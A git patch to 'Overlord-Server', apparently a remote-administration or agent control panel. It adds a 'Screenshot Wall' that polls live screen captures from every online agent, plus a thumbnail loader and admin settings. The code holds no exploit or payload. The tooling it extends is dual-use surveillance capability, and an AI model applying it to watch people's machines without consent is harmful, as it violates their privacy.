From bab5054b47762ef6651c1487479a8c8fd74dd0ed Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sun, 17 May 2026 22:02:23 -0500 Subject: [PATCH] Add screenshot page, add polling screenshots, better screenshot memory cleanup, better visualization/no jitter when screenshots are shown now. --- Overlord-Server/public/assets/data.js | 18 - Overlord-Server/public/assets/main.css | 10 + Overlord-Server/public/assets/main.js | 56 +++ Overlord-Server/public/assets/nav.js | 4 +- Overlord-Server/public/assets/nav/role-ui.js | 11 + Overlord-Server/public/assets/nav/template.js | 1 + Overlord-Server/public/assets/render.js | 32 +- Overlord-Server/public/assets/screenshots.js | 361 ++++++++++++++++++ Overlord-Server/public/assets/settings.js | 59 ++- .../public/assets/thumbnail-loader.js | 220 +++++++++++ Overlord-Server/public/assets/utils.js | 1 - Overlord-Server/public/screenshots.html | 231 +++++++++++ Overlord-Server/public/settings.html | 41 ++ Overlord-Server/src/config.ts | 51 +++ Overlord-Server/src/db.ts | 5 +- .../src/server/routes/client-routes.ts | 40 +- .../src/server/routes/misc-routes.ts | 37 +- .../src/server/routes/page-routes.ts | 6 + Overlord-Server/src/thumbnails.ts | 62 ++- Overlord-Server/src/types.ts | 3 +- Overlord-Server/src/wsHandlers.ts | 5 +- 21 files changed, 1209 insertions(+), 45 deletions(-) create mode 100644 Overlord-Server/public/assets/screenshots.js create mode 100644 Overlord-Server/public/assets/thumbnail-loader.js create mode 100644 Overlord-Server/public/screenshots.html diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index bad3848..58f4a3a 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -4,14 +4,12 @@ import { digestData } from "./utils.js"; const POLL_INTERVAL_MS = 5000; const FALLBACK_POLL_MS = 30000; const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds"; -const THUMBNAIL_COOLDOWN_MS = 60000; let pollTimer = null; let render = () => {}; let dashboardWs = null; let dashboardWsConnected = false; let wsReconnectTimer = null; const manuallyDisconnecting = new Set(); -const thumbnailRequestedAt = new Map(); function moveClientCardImmediately(msg) { const clientId = typeof msg?.clientId === "string" ? msg.clientId : ""; @@ -77,8 +75,6 @@ export async function loadWithOptions(options = {}) { render(data, { reorder }); const pag = document.getElementById("pagination"); if (pag) pag.style.visibility = ""; - - requestThumbnailsForClients(data.items); } catch (err) { console.error("load clients", err); } finally { @@ -93,19 +89,6 @@ export async function loadWithOptions(options = {}) { } } -async function requestThumbnailsForClients(items) { - const now = Date.now(); - const onlineClientsWithoutThumbnail = items.filter(c => { - if (!c.online || c.thumbnail) return false; - const last = thumbnailRequestedAt.get(c.id); - return !last || now - last > THUMBNAIL_COOLDOWN_MS; - }); - for (const client of onlineClientsWithoutThumbnail) { - thumbnailRequestedAt.set(client.id, now); - await requestThumbnail(client.id); - } -} - function updateOsFilter(items) { const osSelect = document.getElementById("filter-os"); if (!osSelect) return; @@ -183,7 +166,6 @@ function connectDashboardWs() { console.warn("[dashboard] ws closed"); dashboardWs = null; dashboardWsConnected = false; - thumbnailRequestedAt.clear(); adjustPollingForWs(); scheduleDashboardReconnect(); }; diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 3d22999..5dea6d2 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2335,6 +2335,16 @@ tbody tr:hover { } .cv-thumb-img { object-fit: cover; cursor: pointer; } .cv-thumb { position: relative; } +.cv-thumb-host { position: relative; isolation: isolate; } +.cv-thumb-overlay { + position: absolute; + inset: 0; + width: 100%; + height: 100%; + border: 0; + border-radius: inherit; + z-index: 1; +} .cv-faux { position: absolute; diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 3278efc..3f8550e 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -11,6 +11,7 @@ import { requestThumbnail, markManualDisconnect, } from "./data.js"; +import { ThumbnailLoader } from "./thumbnail-loader.js"; const grid = document.getElementById("grid"); const totalPill = document.getElementById("total-pill"); @@ -641,6 +642,60 @@ document.querySelectorAll("#layout-toggle .layout-toggle-btn").forEach((btn) => btn.addEventListener("click", () => setLayout(btn.dataset.layout)); }); +let dashboardThumbnailLoader = null; + +async function isDashboardThumbnailEnabled() { + try { + const res = await fetch("/api/settings/thumbnails", { credentials: "include" }); + if (!res.ok) return true; + const data = await res.json(); + return data?.thumbnails?.dashboardEnabled !== false; + } catch { + return true; + } +} + +async function setupDashboardThumbnailLoader() { + if (!grid || dashboardThumbnailLoader) return; + + if (!(await isDashboardThumbnailEnabled())) return; + + const stored = Number(localStorage.getItem("overlord_dash_thumb_interval_ms")); + const refreshIntervalMs = Number.isFinite(stored) && stored >= 2000 ? stored : 15_000; + + dashboardThumbnailLoader = new ThumbnailLoader({ + refreshIntervalMs, + rootMargin: "300px", + threshold: 0.05, + }); + + const wire = (el) => { + const id = el.dataset.thumbClient; + if (!id) return; + if (el.dataset.thumbOnline !== "1") return; + const v = Number(el.dataset.thumbVersion) || 0; + dashboardThumbnailLoader.observe(el, id, v); + }; + const unwire = (el) => dashboardThumbnailLoader.unobserve(el); + + const mo = new MutationObserver((mutations) => { + for (const m of mutations) { + m.addedNodes.forEach((n) => { + if (!(n instanceof HTMLElement)) return; + if (n.matches?.("[data-thumb-host]")) wire(n); + n.querySelectorAll?.("[data-thumb-host]").forEach(wire); + }); + m.removedNodes.forEach((n) => { + if (!(n instanceof HTMLElement)) return; + if (n.matches?.("[data-thumb-host]")) unwire(n); + n.querySelectorAll?.("[data-thumb-host]").forEach(unwire); + }); + } + }); + mo.observe(grid, { childList: true, subtree: true }); + grid.querySelectorAll("[data-thumb-host]").forEach(wire); +} + function initializeRenderer() { const savedLayout = localStorage.getItem(PREF_LAYOUT_KEY) || "rows"; if (grid) grid.dataset.layout = ["rows", "table", "cards"].includes(savedLayout) ? savedLayout : "rows"; @@ -666,6 +721,7 @@ function initializeRenderer() { }); rendererSetLayout = rSetLayout; registerRenderer(renderMerge); + setupDashboardThumbnailLoader(); refreshGroupFilter(); loadWithOptions(); startAutoRefresh(); diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index 5076059..dbee3f8 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -8,7 +8,7 @@ import { import { mountNav } from "./nav/template.js"; import { createAdaptiveNavController } from "./nav/layout.js"; -import { applyUserRoleUI } from "./nav/role-ui.js"; +import { applyUserRoleUI, applyThumbnailWallVisibility } from "./nav/role-ui.js"; import { loadPluginNavItems } from "./nav/plugins-loader.js"; import { init as initCommandPalette } from "./command-palette.js"; @@ -29,6 +29,7 @@ if (host) { const activeMap = { "/": "nav-clients", "/metrics": "metrics-link", + "/screenshots": "screenshots-link", "/logs": "logs-link", "/scripts": "scripts-link", "/socks5-manager": "socks5-link", @@ -134,6 +135,7 @@ if (host) { } const user = await res.json(); applyUserRoleUI(user, refs); + applyThumbnailWallVisibility(user); if (user.role === "admin" || user.role === "operator") { try { diff --git a/Overlord-Server/public/assets/nav/role-ui.js b/Overlord-Server/public/assets/nav/role-ui.js index 212c49f..16d648d 100644 --- a/Overlord-Server/public/assets/nav/role-ui.js +++ b/Overlord-Server/public/assets/nav/role-ui.js @@ -75,3 +75,14 @@ export function applyUserRoleUI(user, refs) { unhide("file-share-link"); } } + +export async function applyThumbnailWallVisibility(user) { + if (!user || user.role === "viewer") return; + try { + const res = await fetch("/api/settings/thumbnails", { credentials: "include" }); + if (!res.ok) return; + const data = await res.json(); + if (data?.thumbnails?.wallEnabled === false) return; + document.querySelectorAll("#screenshots-link").forEach((el) => el.classList.remove("hidden")); + } catch {} +} diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index cadd0d0..f346ab7 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -63,6 +63,7 @@ export const NAV_GROUPS = [ iconColor: "text-emerald-400", children: [ { href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" }, + { href: "/screenshots", label: "Screenshot Wall", icon: "fa-images", iconColor: "text-sky-400", linkId: "screenshots-link", hidden: true }, ], }, { diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index d909423..ac4da61 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -71,10 +71,32 @@ function fauxDesktopHtml(client, opts = {}) { } function thumbHtml(client, { width, height, small = false } = {}) { - if (client.thumbnail) { - return `preview`; - } - return `
${fauxDesktopHtml(client, { small })}
`; + const hasThumb = !!client.hasThumbnail; + const version = Number(client.thumbnailVersion) || 0; + const opacityStyle = client.online ? "" : "opacity:0.35"; + const idAttr = escapeHtml(client.id); + const initialSrc = hasThumb + ? `/api/clients/${encodeURIComponent(client.id)}/thumbnail${version ? `?v=${version}` : ""}` + : ""; + const initialDisplay = hasThumb ? "display:block" : "display:none"; + return ` +
+ ${fauxDesktopHtml(client, { small })} + +
`; } function statusDot(client) { @@ -408,7 +430,7 @@ export function createRenderer({ } function cardDigest(c) { - return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; + return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`; } function renderMerge(data, options = {}) { diff --git a/Overlord-Server/public/assets/screenshots.js b/Overlord-Server/public/assets/screenshots.js new file mode 100644 index 0000000..006ac86 --- /dev/null +++ b/Overlord-Server/public/assets/screenshots.js @@ -0,0 +1,361 @@ +import { ThumbnailLoader, thumbnailUrl } from "./thumbnail-loader.js"; + +const grid = document.getElementById("wall-grid"); +const emptyEl = document.getElementById("wall-empty"); +const searchInput = document.getElementById("wall-search"); +const intervalSelect = document.getElementById("wall-interval"); +const sizeSelect = document.getElementById("wall-size"); +const showOfflineInput = document.getElementById("wall-show-offline"); +const refreshNowBtn = document.getElementById("wall-refresh-now"); +const statsEl = document.getElementById("wall-stats"); + +const PREF_INTERVAL = "wall_interval_ms"; +const PREF_SIZE = "wall_tile_w"; +const PREF_SHOW_OFFLINE = "wall_show_offline"; + +const PAGE_SIZE = 60; +const LIST_POLL_MS = 15_000; +const SEARCH_DEBOUNCE_MS = 200; + +let clients = []; +let totalOnline = 0; +let totalAll = 0; +let currentPage = 1; +let listPollTimer = null; +let searchDebounceTimer = null; +const tileEls = new Map(); + +const loader = new ThumbnailLoader({ + refreshIntervalMs: 3000, + rootMargin: "300px", + threshold: 0.05, +}); + +function readPref(key, fallback) { + try { + const v = localStorage.getItem(key); + if (v == null || v === "") return fallback; + return v; + } catch { + return fallback; + } +} + +function writePref(key, value) { + try { localStorage.setItem(key, String(value)); } catch {} +} + +function loadPrefs() { + const interval = readPref(PREF_INTERVAL, "3000"); + if (intervalSelect && [...intervalSelect.options].some((o) => o.value === interval)) { + intervalSelect.value = interval; + } + const size = readPref(PREF_SIZE, "320"); + if (sizeSelect && [...sizeSelect.options].some((o) => o.value === size)) { + sizeSelect.value = size; + } + const showOffline = readPref(PREF_SHOW_OFFLINE, "false"); + if (showOfflineInput) showOfflineInput.checked = showOffline === "true"; + applyTileSize(); + applyIntervalToLoader(); +} + +function applyTileSize() { + const w = Number(sizeSelect?.value) || 320; + document.documentElement.style.setProperty("--wall-tile-w", `${w}px`); +} + +function applyIntervalToLoader() { + const ms = Number(intervalSelect?.value); + if (!Number.isFinite(ms) || ms <= 0) { + loader.setRefreshInterval(60 * 60 * 1000); + return; + } + loader.setRefreshInterval(ms); +} + +function buildTile(client) { + const tile = document.createElement("a"); + tile.className = "wall-tile cv-thumb-host"; + tile.dataset.id = client.id; + tile.dataset.thumbHost = ""; + tile.dataset.thumbClient = client.id; + tile.dataset.thumbVersion = String(client.thumbnailVersion || 0); + tile.dataset.thumbOnline = client.online ? "1" : "0"; + if (client.online) { + tile.href = `/remotedesktop?clientId=${encodeURIComponent(client.id)}`; + tile.target = "_blank"; + tile.rel = "noopener"; + } else { + tile.classList.add("is-offline"); + tile.addEventListener("click", (e) => e.preventDefault()); + } + + const img = document.createElement("img"); + img.className = "wall-img"; + img.dataset.thumbImg = ""; + img.alt = ""; + img.decoding = "async"; + img.loading = "lazy"; + if (client.hasThumbnail) { + const url = thumbnailUrl(client.id, client.thumbnailVersion || 0); + img.src = url; + img.dataset.thumbUrl = url; + } else { + img.style.display = "none"; + } + img.addEventListener("load", () => { + img.style.display = "block"; + const empty = tile.querySelector(".wall-empty"); + if (empty) empty.style.display = "none"; + }); + img.addEventListener("error", () => { + img.style.display = "none"; + img.removeAttribute("src"); + const empty = tile.querySelector(".wall-empty"); + if (empty) empty.style.display = ""; + }); + tile.appendChild(img); + + const empty = document.createElement("div"); + empty.className = "wall-empty"; + empty.innerHTML = `${client.online ? "Waiting for screenshot…" : "Offline"}`; + if (client.hasThumbnail) empty.style.display = "none"; + tile.appendChild(empty); + + const loading = document.createElement("div"); + loading.className = "wall-loading"; + tile.appendChild(loading); + + const top = document.createElement("div"); + top.className = "wall-overlay-top"; + top.innerHTML = ` + + + `; + tile.appendChild(top); + + const bottom = document.createElement("div"); + bottom.className = "wall-overlay-bottom"; + bottom.innerHTML = ` + + + `; + tile.appendChild(bottom); + + return tile; +} + +function updateTile(tile, client) { + const isOnline = !!client.online; + tile.classList.toggle("is-offline", !isOnline); + if (isOnline) { + tile.href = `/remotedesktop?clientId=${encodeURIComponent(client.id)}`; + tile.target = "_blank"; + tile.rel = "noopener"; + } else { + tile.removeAttribute("href"); + tile.removeAttribute("target"); + } + tile.dataset.thumbOnline = isOnline ? "1" : "0"; + tile.dataset.thumbVersion = String(client.thumbnailVersion || 0); + + const dot = tile.querySelector(".wall-dot"); + if (dot) { + dot.classList.toggle("on", isOnline); + dot.classList.toggle("off", !isOnline); + } + + const hostEl = tile.querySelector(".wall-host"); + if (hostEl) { + const label = client.nickname || client.host || client.id; + hostEl.textContent = label; + hostEl.title = `${label}\n${client.id}`; + } + + const userEl = tile.querySelector(".wall-user"); + if (userEl) userEl.textContent = client.user || "—"; + const osEl = tile.querySelector(".wall-os"); + if (osEl) osEl.textContent = client.os ? `· ${client.os}` : ""; + + if (!client.hasThumbnail) { + const img = tile.querySelector("img[data-thumb-img]"); + if (img && !img.dataset.thumbUrl) { + img.removeAttribute("src"); + img.style.display = "none"; + } + const empty = tile.querySelector(".wall-empty"); + if (empty) empty.style.display = ""; + } +} + +function pageClients() { + const showOffline = !!showOfflineInput?.checked; + return clients.filter((c) => showOffline || c.online); +} + +function renderGrid() { + const visible = pageClients(); + const seen = new Set(); + + for (const client of visible) { + seen.add(client.id); + let tile = tileEls.get(client.id); + if (!tile) { + tile = buildTile(client); + tileEls.set(client.id, tile); + grid.appendChild(tile); + } else if (tile.parentNode !== grid) { + grid.appendChild(tile); + } + updateTile(tile, client); + if (client.online) { + loader.observe(tile, client.id, Number(client.thumbnailVersion) || 0); + } else { + loader.unobserve(tile); + } + } + + for (const [id, tile] of tileEls) { + if (!seen.has(id)) { + loader.unobserve(tile); + tile.remove(); + tileEls.delete(id); + } + } + + if (statsEl) { + const shownLabel = visible.length === clients.length + ? `${visible.length} shown` + : `${visible.length} on page · ${totalOnline} online · ${totalAll} total`; + statsEl.textContent = shownLabel; + } + if (emptyEl) emptyEl.classList.toggle("hidden", visible.length > 0); + + renderPagination(); +} + +let paginationEl = null; +function renderPagination() { + const totalForView = showOfflineInput?.checked ? totalAll : totalOnline; + const totalPages = Math.max(1, Math.ceil(totalForView / PAGE_SIZE)); + if (totalForView <= PAGE_SIZE) { + if (paginationEl) { + paginationEl.remove(); + paginationEl = null; + } + return; + } + if (!paginationEl) { + paginationEl = document.createElement("div"); + paginationEl.className = "flex items-center justify-center gap-3 py-4 text-slate-300"; + grid.parentNode.insertBefore(paginationEl, grid.nextSibling); + } + paginationEl.innerHTML = ` + + Page ${currentPage} of ${totalPages} + + `; + paginationEl.querySelector('[data-act="prev"]')?.addEventListener("click", () => { + if (currentPage > 1) { + currentPage -= 1; + fetchClients(); + } + }); + paginationEl.querySelector('[data-act="next"]')?.addEventListener("click", () => { + if (currentPage < totalPages) { + currentPage += 1; + fetchClients(); + } + }); +} + +function getSearchTerm() { + return (searchInput?.value || "").trim(); +} + +async function fetchClients() { + const params = new URLSearchParams({ + page: String(currentPage), + pageSize: String(PAGE_SIZE), + sort: "host_asc", + q: getSearchTerm(), + status: showOfflineInput?.checked ? "all" : "online", + os: "all", + country: "all", + group: "all", + }); + try { + const res = await fetch(`/api/clients?${params.toString()}`, { credentials: "include" }); + if (!res.ok) throw new Error(`status ${res.status}`); + const data = await res.json(); + clients = Array.isArray(data.items) ? data.items : []; + totalOnline = Number(data.online) || 0; + totalAll = Number(data.total) || 0; + renderGrid(); + for (const c of clients) { + if (typeof c.thumbnailVersion === "number") { + loader.setVersion(c.id, c.thumbnailVersion); + } + } + } catch (err) { + console.error("[wall] fetchClients failed", err); + } +} + +function debouncedFetch() { + if (searchDebounceTimer) clearTimeout(searchDebounceTimer); + searchDebounceTimer = setTimeout(() => { + currentPage = 1; + fetchClients(); + }, SEARCH_DEBOUNCE_MS); +} + +function startListPoll() { + if (listPollTimer) return; + listPollTimer = setInterval(() => { + if (document.hidden) return; + fetchClients(); + }, LIST_POLL_MS); +} + +function setupEvents() { + searchInput?.addEventListener("input", debouncedFetch); + + intervalSelect?.addEventListener("change", () => { + writePref(PREF_INTERVAL, intervalSelect.value); + applyIntervalToLoader(); + }); + + sizeSelect?.addEventListener("change", () => { + writePref(PREF_SIZE, sizeSelect.value); + applyTileSize(); + }); + + showOfflineInput?.addEventListener("change", () => { + writePref(PREF_SHOW_OFFLINE, String(showOfflineInput.checked)); + currentPage = 1; + fetchClients(); + }); + + refreshNowBtn?.addEventListener("click", () => { + loader.refreshNow(); + }); + + document.addEventListener("visibilitychange", () => { + if (!document.hidden) fetchClients(); + }); +} + +async function init() { + loadPrefs(); + setupEvents(); + await fetchClients(); + startListPoll(); +} + +init(); diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index b7f25dc..032c1b9 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -1606,6 +1606,59 @@ function initBuildRateLimitHandlers() { if (brlForm) brlForm.addEventListener("submit", saveBuildRateLimitSettings); } +// ── Thumbnail Settings ──────────────────────────────────────────────────── + +async function loadThumbnailSettings() { + try { + const res = await fetch("/api/settings/thumbnails", { credentials: "include" }); + if (!res.ok) return; + const data = await res.json(); + const t = data.thumbnails || {}; + const dashEl = document.getElementById("thumb-dashboard-enabled"); + const wallEl = document.getElementById("thumb-wall-enabled"); + if (dashEl) dashEl.checked = t.dashboardEnabled !== false; + if (wallEl) wallEl.checked = t.wallEnabled !== false; + } catch (e) { + console.error("Failed to load thumbnail settings", e); + } +} + +function showThumbnailsMsg(text, type) { + const el = document.getElementById("thumbnails-msg"); + if (!el) return; + el.textContent = text; + el.className = `text-sm rounded-lg px-3 py-2 border ${type === "error" ? "border-rose-800 bg-rose-900/20 text-rose-200" : "border-emerald-800 bg-emerald-900/20 text-emerald-200"}`; + el.classList.remove("hidden"); + setTimeout(() => el.classList.add("hidden"), 5000); +} + +async function saveThumbnailSettings(e) { + e.preventDefault(); + const dashboardEnabled = !!document.getElementById("thumb-dashboard-enabled")?.checked; + const wallEnabled = !!document.getElementById("thumb-wall-enabled")?.checked; + try { + const res = await fetch("/api/settings/thumbnails", { + method: "PUT", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ dashboardEnabled, wallEnabled }), + }); + if (!res.ok) { + const data = await res.json().catch(() => ({})); + showThumbnailsMsg(data.error || "Failed to save", "error"); + return; + } + showThumbnailsMsg("Thumbnail settings saved.", "success"); + } catch { + showThumbnailsMsg("Network error.", "error"); + } +} + +function initThumbnailHandlers() { + const form = document.getElementById("thumbnails-form"); + if (form) form.addEventListener("submit", saveThumbnailSettings); +} + async function init() { try { await loadCurrentUser(); @@ -1634,16 +1687,20 @@ async function init() { await loadChatSettings(); await loadBannedIps(); - // Registration + Build Rate Limit (admin only) + // Registration + Build Rate Limit + Thumbnails (admin only) if (isAdmin(currentUser?.role)) { const regSection = document.getElementById("registration-section"); const brlSection = document.getElementById("build-rate-limit-section"); + const thumbSection = document.getElementById("thumbnails-section"); if (regSection) regSection.classList.remove("hidden"); if (brlSection) brlSection.classList.remove("hidden"); + if (thumbSection) thumbSection.classList.remove("hidden"); await loadRegistrationSettings(); await loadBuildRateLimitSettings(); + await loadThumbnailSettings(); initRegistrationHandlers(); initBuildRateLimitHandlers(); + initThumbnailHandlers(); } passwordForm.addEventListener("submit", updatePassword); diff --git a/Overlord-Server/public/assets/thumbnail-loader.js b/Overlord-Server/public/assets/thumbnail-loader.js new file mode 100644 index 0000000..e1d1222 --- /dev/null +++ b/Overlord-Server/public/assets/thumbnail-loader.js @@ -0,0 +1,220 @@ +const DEFAULT_CONCURRENCY = 6; +const DEFAULT_REFRESH_MS = 30_000; +const DEFAULT_VISIBILITY_THRESHOLD = 0.1; +const DEFAULT_ROOT_MARGIN = "200px"; + +const sharedInflight = { count: 0 }; +const sharedQueue = []; +let sharedConcurrency = DEFAULT_CONCURRENCY; + +function pumpQueue() { + while (sharedInflight.count < sharedConcurrency && sharedQueue.length > 0) { + const job = sharedQueue.shift(); + sharedInflight.count++; + Promise.resolve() + .then(() => job()) + .catch((err) => console.warn("[thumb] job failed", err)) + .finally(() => { + sharedInflight.count--; + pumpQueue(); + }); + } +} + +function enqueueJob(job) { + sharedQueue.push(job); + pumpQueue(); +} + +export function setGlobalConcurrency(n) { + sharedConcurrency = Math.max(1, Math.min(32, Number(n) || DEFAULT_CONCURRENCY)); + pumpQueue(); +} + +async function triggerAgentThumbnail(clientId) { + try { + const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/thumbnail`, { + method: "POST", + credentials: "include", + }); + if (!res.ok) return null; + return await res.json().catch(() => null); + } catch (err) { + return null; + } +} + +function buildThumbnailUrl(clientId, version) { + const base = `/api/clients/${encodeURIComponent(clientId)}/thumbnail`; + return version > 0 ? `${base}?v=${version}` : base; +} + +export class ThumbnailLoader { + constructor(options = {}) { + this.refreshIntervalMs = Math.max(500, Number(options.refreshIntervalMs) || DEFAULT_REFRESH_MS); + this.rootMargin = options.rootMargin || DEFAULT_ROOT_MARGIN; + this.threshold = options.threshold ?? DEFAULT_VISIBILITY_THRESHOLD; + this.onFrame = typeof options.onFrame === "function" ? options.onFrame : null; + this.onError = typeof options.onError === "function" ? options.onError : null; + this.onTrigger = typeof options.onTrigger === "function" ? options.onTrigger : null; + this.records = new Map(); + this.tickTimer = null; + this.observer = null; + if (typeof IntersectionObserver === "function") { + this.observer = new IntersectionObserver( + (entries) => this.handleIntersection(entries), + { rootMargin: this.rootMargin, threshold: this.threshold }, + ); + } + document.addEventListener("visibilitychange", () => { + if (!document.hidden) this.tick(); + }); + } + + setRefreshInterval(ms) { + const next = Math.max(500, Number(ms) || DEFAULT_REFRESH_MS); + if (next === this.refreshIntervalMs) return; + this.refreshIntervalMs = next; + if (this.tickTimer) { + clearInterval(this.tickTimer); + this.tickTimer = setInterval(() => this.tick(), Math.min(2000, Math.max(500, next / 4))); + } + } + + observe(element, clientId, initialVersion = 0) { + if (!element || !clientId) return; + const prior = this.records.get(element); + if (prior && prior.clientId === clientId) { + prior.version = initialVersion || prior.version; + this.applyVersion(element, prior); + return; + } + if (prior) this.unobserve(prior.element); + const rec = { + element, + clientId, + version: initialVersion || 0, + visible: false, + lastTriggerAt: 0, + inflight: false, + }; + this.records.set(element, rec); + this.applyVersion(element, rec); + if (this.observer) { + this.observer.observe(element); + } else { + rec.visible = true; + } + this.ensureLoop(); + } + + unobserve(element) { + if (!element) return; + const rec = this.records.get(element); + if (!rec) return; + this.records.delete(element); + if (this.observer) this.observer.unobserve(element); + if (this.records.size === 0 && this.tickTimer) { + clearInterval(this.tickTimer); + this.tickTimer = null; + } + } + + setVersion(clientId, version) { + if (!clientId) return; + let touched = false; + for (const rec of this.records.values()) { + if (rec.clientId !== clientId) continue; + if (version > rec.version) { + rec.version = version; + this.applyVersion(rec.element, rec); + touched = true; + } + } + return touched; + } + + refreshNow(clientId) { + for (const rec of this.records.values()) { + if (clientId && rec.clientId !== clientId) continue; + rec.lastTriggerAt = 0; + } + this.tick(); + } + + applyVersion(element, rec) { + if (!element || !rec) return; + const img = element.querySelector("img[data-thumb-img]"); + if (!img) return; + const url = buildThumbnailUrl(rec.clientId, rec.version); + if (img.dataset.thumbUrl !== url) { + img.dataset.thumbUrl = url; + img.src = url; + } + } + + handleIntersection(entries) { + for (const entry of entries) { + const rec = this.records.get(entry.target); + if (!rec) continue; + rec.visible = entry.isIntersecting; + } + this.tick(); + } + + ensureLoop() { + if (this.tickTimer) return; + this.tickTimer = setInterval( + () => this.tick(), + Math.min(2000, Math.max(500, this.refreshIntervalMs / 4)), + ); + } + + tick() { + if (document.hidden) return; + const now = Date.now(); + for (const rec of this.records.values()) { + if (!rec.visible || rec.inflight) continue; + if (now - rec.lastTriggerAt < this.refreshIntervalMs) continue; + rec.lastTriggerAt = now; + rec.inflight = true; + if (this.onTrigger) { + try { this.onTrigger(rec.clientId, rec.element); } catch {} + } + enqueueJob(async () => { + try { + const result = await triggerAgentThumbnail(rec.clientId); + if (result && typeof result.version === "number" && result.version > rec.version) { + rec.version = result.version; + this.applyVersion(rec.element, rec); + if (this.onFrame) { + try { this.onFrame(rec.clientId, rec.element, result); } catch {} + } + } + } catch (err) { + if (this.onError) { + try { this.onError(rec.clientId, err); } catch {} + } + } finally { + rec.inflight = false; + } + }); + } + } + + destroy() { + if (this.observer) { + this.observer.disconnect(); + this.observer = null; + } + if (this.tickTimer) { + clearInterval(this.tickTimer); + this.tickTimer = null; + } + this.records.clear(); + } +} + +export function thumbnailUrl(clientId, version = 0) { + return buildThumbnailUrl(clientId, version); +} diff --git a/Overlord-Server/public/assets/utils.js b/Overlord-Server/public/assets/utils.js index 70b72b8..5ac84b4 100644 --- a/Overlord-Server/public/assets/utils.js +++ b/Overlord-Server/public/assets/utils.js @@ -17,7 +17,6 @@ export function digestData(data, { page, pageSize, searchTerm, sort }) { user: c.user, customTag: c.customTag, customTagNote: c.customTagNote, - thumbnail: c.thumbnail, version: c.version, country: c.country, arch: c.arch, diff --git a/Overlord-Server/public/screenshots.html b/Overlord-Server/public/screenshots.html new file mode 100644 index 0000000..4dddc0b --- /dev/null +++ b/Overlord-Server/public/screenshots.html @@ -0,0 +1,231 @@ + + + + + + + + Screenshot Wall - Overlord + + + + + + + + + + + + +
+
+
+
+
+

Screenshot Wall

+

Live thumbnails across every online agent — click a tile to open remote desktop.

+
+
+ + + + + + 0 online +
+
+
+ +
+
+ + + + + + diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 10a5239..78d86d8 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -91,6 +91,7 @@ Admin Security Policy + Screenshot Thumbnails TLS Certificates Team Chat Registration @@ -821,6 +822,46 @@ + + +